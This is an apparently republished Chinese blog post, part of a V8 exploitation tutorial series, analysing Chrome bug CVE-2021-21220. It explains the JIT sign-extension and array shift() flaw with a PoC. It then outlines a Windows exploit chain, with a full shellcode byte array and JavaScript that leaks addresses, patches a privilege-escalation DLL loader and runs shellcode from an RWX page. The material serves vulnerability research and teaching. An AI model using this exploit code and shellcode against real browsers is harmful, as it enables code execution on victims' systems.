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从 0 开始学 V8 漏洞利用之 CVE-2021-21220（八）

Seebug漏洞平台

发布于 2022-03-18 03:10:16

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作者：Hcamael@知道创宇404实验室

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第六个研究的是CVE-2021-21220，其chrome的bug编号为：1196683（https://bugs.chromium.org/p/chromium/issues/detail?id=1196683）

可以很容易找到其相关信息：

受影响的Chrome最高版本为：89.0.4389.114 受影响的V8最高版本为：8.9.255.24

并且还附带了exp（https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472）

搭建环境

一键编译相关环境：

$ ./build.sh 8.9.255.24

漏洞分析

因为通过之前的文章，已经对模板套路很熟悉了，所以在之后的文章中，将不会过多讲诉套模板编写exp，而会让重点放在一些之前文章中没有的点上，更着重在漏洞利用技巧这块。

该漏洞的PoC如下：

const _arr = new Uint32Array([2**31]);

function foo(a) {
    var x = 1;
    x = (_arr[0] ^ 0) + 1;

    x = Math.abs(x);
    x -= 2147483647;
    x = Math.max(x, 0);

    x -= 1;
    if(x==-1) x = 0;

    var arr = new Array(x);
    arr.shift();
    var cor = [1.1, 1.2, 1.3];

    return [arr, cor];
}

上述PoC来源于：

https://github.com/security-dbg/CVE-2021-21220/blob/main/exploit.js

因为我认为这个PoC更利于理解该漏洞。

根据我的理解，我做了如下修改：

var b = new Uint32Array([0x80000000]);
var trigger_array = [];
function trigger() {
  var x = 1;
  x = (b[0] ^ 0) + 1; // 0x80000000 + 1
  x = Math.abs(x); // 0x80000001 0x7fffffff
  x -= 0x7fffffff;  // 2 0
  x = Math.max(x, 0); // 2 0

  x -= 1; // 1 -1
  if(x==-1) x = 0; // 1 0
  trigger_array = new Array(x); // 1 0
  trigger_array.shift();

  var da = [1.1, 2.2];
  var ob = [{a: 1,b: 2}];
  return [da, ob];
}

在正常情况下，该函数的逻辑：

1. b[0]为uint32类型的变量，其值为0x80000000。

2. 异或了0以后，变成了int32类型，其值为-2147483648。

3. 加上1以后，变成了-2147483647，赋值给了x。但是类型会被扩展成int64，因为js的变量是弱类型，如果x一开始的类型是int32，值为2147483647(0x7fffffff)，那么x+1不会变成-1，而会变成。2147483648(0x80000000)，因为int32被扩展成了int64。

4. 然后使用math.abs函数计算绝对值，x值变为2147483647(0x7fffffff)。

5. x - 0x7FFFFFFF = 0。

6. 使用math.max函数计算x与0之间的最大值，为0。

7. x - 1 = -1。

8. 因为x=-1，所以x改为0。

9. 新建了一个长度为0的数组。

10. 因为长度为0，所以shitf无效，数组不变。

但是上述逻辑，经过JIT优化以后，就不一样了：

1. b[0]为uint32类型的变量，其值为0x80000000。

2. 将其转化成int64类型，其值为0x80000000。

3. 加上1以后，变成了0x80000001。

4. 然后使用math.abs函数计算绝对值，x值变为0x80000001。

5. x - 0x7FFFFFFF = 2。

6. 使用math.max函数计算x与0之间的最大值，为2。

7. x - 1 = 1。

8. 新建了一个长度为1的数组。

9. shitf函数将数组的长度设置为-1，这就让我们得到了长度为-1的数组，通过该数据进行后续利用。

在JIT的优化过程中，存在两个问题：

1.将b[0]转化为int64，把符号去掉了，从Turbo流程图看，是通过ChangeInt32ToInt64来改变b[0]的变量类型，而在这个opcode实现的代码中：

void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {
  ......
    switch (rep) {
      case MachineRepresentation::kBit:  // Fall through.
      case MachineRepresentation::kWord8:
        opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;
        break;
      case MachineRepresentation::kWord16:
        opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
        break;
      case MachineRepresentation::kWord32:
        opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
        break;
      default:
        UNREACHABLE();
        return;
    }
......

根据上面代码可以看出，如果b[0]是有符号的，那么将会使用kX64Movsxlq指令进行转换，如果是无符号的就会使用kX64Movl指令进行转换。

b[0]因为是一个uint32类型的变量，所以使用movl进行扩展大小，所以没有扩展其符号，导致出现了问题。

2.shitf函数将数组长度设置为-1。

shift函数的正常逻辑是，判断数组的长度，如果其长度大于0，并且小于100，那么将会对长度的赋值进行优化，预测其长度，然后进行减1操作，直接写入数组的长度。

在JIT的预测当中，x的值为0，因为其预测是按照没有bug的情况进行预测的，但是实际情况x为1，这就导致实际情况的x通过了shitf的长度检查，然后却把x认为是0，从而-1，把数组的长度设置为了-1。

CVE-2021-21220总结

该漏洞的成因还是挺容易理解的，这研究其原理的过程中也要学会看Turbo，后续将为专门看Turbo的opcode写一篇paper。

Windows Chrome利用一条龙

接下来再记录一下v8漏洞在Windows实际的利用。

v8只是Chrome浏览器解析JavaScript代码的一个引擎，就算通过v8代码漏洞，能执行shellcode，也没办法获取到系统权限，因为在v8引擎的外层还一层沙箱，所以在v8漏洞的分析利用文章中，最后显示的效果都需要让Chrome启动加上--no-sandbox参数，所以v8漏洞的实际利用场景只能找一些使用了Chrome内核，并且没有开沙箱的应用。

除此之前，v8需要结合一些其他的漏洞，比如沙箱逃逸/提权漏洞，才能真正打穿Chrome。

本文说说，在Windows的环境下，怎么编写exp来结合Windows提权漏洞，来打穿Chrome。

1.你真正想执行的shellcode：

// shellcode.js
let usershellcode=[0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0x8d,0x8d,0x1,0x1,0x0,0x0,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x0,0x0];

把一个弹计算器的shellcode设置一个变量，储存在shellcode.js中

2.找一个Windows大哥，写一个Windows提权的loadpe（这部分内容后续会让我同事进行编写），并且写入loadpe中，loadpe的二进制将会写入dll.js。

// dll.js
let dll=[......];

这loadpe在进行Windows提权后，将会执行shellcode.js中的shellcode，而shellcode的地址，我们需要在exp中泄漏出来：

var myshell = new Uint8Array(0x1000);
for (i = 0x0; i < usershellcode.length; i++) {
    myshell[i] = usershellcode[i];
}
var shellDataAddr = addressOf(myshell);
console.log("[*] leak shellcode data addr: 0x" + hex(shellDataAddr));
var shellAddr = read64(shellDataAddr + 0x28n);
alert("[*] leak my shellcode addr: 0x" + hex(ftoi(shellAddr)));
bshellAddr = ftob(shellAddr);
addr_offset = ???;
let dllData = new Uint8Array(dll.length);
for (i = 0x0; i < dll.length; i++) {
    if (i>= addr_offset && i < addr_offset+8) {
        dllData[i] = bshellAddr[i-addr_offset];
    } else {
        dllData[i] = dll[i];
    }
}

3.我们需要泄漏出dll的地址，然后exp的shellcode作用是把loadpe内存设置为可读可写可执行权限，然后跳转过来：

var dllDataAddr = addressOf(dllData);
console.log("[*] leak dll data addr: 0x" + hex(dllDataAddr));
var dllAddr = read64(dllDataAddr + 0x28n);
alert("[*] leak dll addr: 0x" + hex(ftoi(dllAddr)));
var shellcode = [......];
bdllAddr = ftob(dllAddr);
Offset = ???;
for (let i = 0x0; i < 0x8; i++) {
    shellcode[0x2 + i] = bdllAddr[i];
    shellcode[Offset + 0x2 + i] = bdllAddr[i];
}
var Uint8Shellcode = new Uint8Array(shellcode.length);
var Uint64Shellcode = new BigUint64Array(Uint8Shellcode.buffer);
for (let i = 0x0; i < shellcode.length; i++) {
    Uint8Shellcode[i] = shellcode[i];
}
copy_shellcode_to_rwx(Uint64Shellcode, rwx_page_addr);
f();